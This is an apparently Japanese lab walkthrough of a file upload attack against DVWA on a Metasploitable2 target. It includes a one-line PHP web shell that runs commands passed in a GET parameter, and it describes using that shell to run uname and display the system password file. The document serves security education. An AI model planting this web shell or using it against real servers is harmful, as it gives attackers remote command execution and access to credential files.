File Upload 攻撃

ファイルをアップロードできるサービスにおいて、悪意のあるファイルをアップロードし、そのファイルにアクセスすることによって情報を抜き出したりする攻撃。

DVWA にログインする

  • Security level = low を確認する
  • 左欄から「Upload」を選び Vulnerability: File Upload のページに移る

Kali の端末を開いて、アップロードする「悪意のあるファイル」を作成する

root@kali:~# vim shell.php
<?php
system($_GET[cmd]);
?>
// GETリクエストの受け取り。スーパーグローバル変数 $_GET['param'] // system() 指定した外部プログラムを実行し、結果を出力する

GET メソッド
一番簡単にデータをやり取りする方法
URL の末尾に「?」を付け、「パラメータ名 = 値」という形式でデータを付与する。 f:id:hirose-test:20190920203632j:plain

PHP - system
PHP - $_GET
PHP - HTML フォーム (GET と POST)

DVWA のファイルアップロード画面に戻り [Browse...] をクリックし、作成したファイル shell.php を選択する。
[Upload] をクリックする

f:id:hirose-test:20190920195350j:plain
f:id:hirose-test:20190920195401j:plain
f:id:hirose-test:20190920195433j:plain

アップロードされたディレクトリが表示されるので、一度表示してみる

f:id:hirose-test:20190920195936j:plain
f:id:hirose-test:20190920195952j:plain

作成されたファイルがアップロードされていることが分かる。その shell.php をクリック f:id:hirose-test:20190920200355j:plain

実際にコマンドを指定してみる uname -a(Metasploitable2 のシステム情報の表示)
f:id:hirose-test:20190920200412j:plain

次に cat でパスワードファイルを表示してみる
f:id:hirose-test:20190920200627j:plain

このように、どんなファイルでもアップロードできてしまうサイトは、悪意のあるファイルを利用して情報を抜き取られる。

/* -----codeの行番号----- */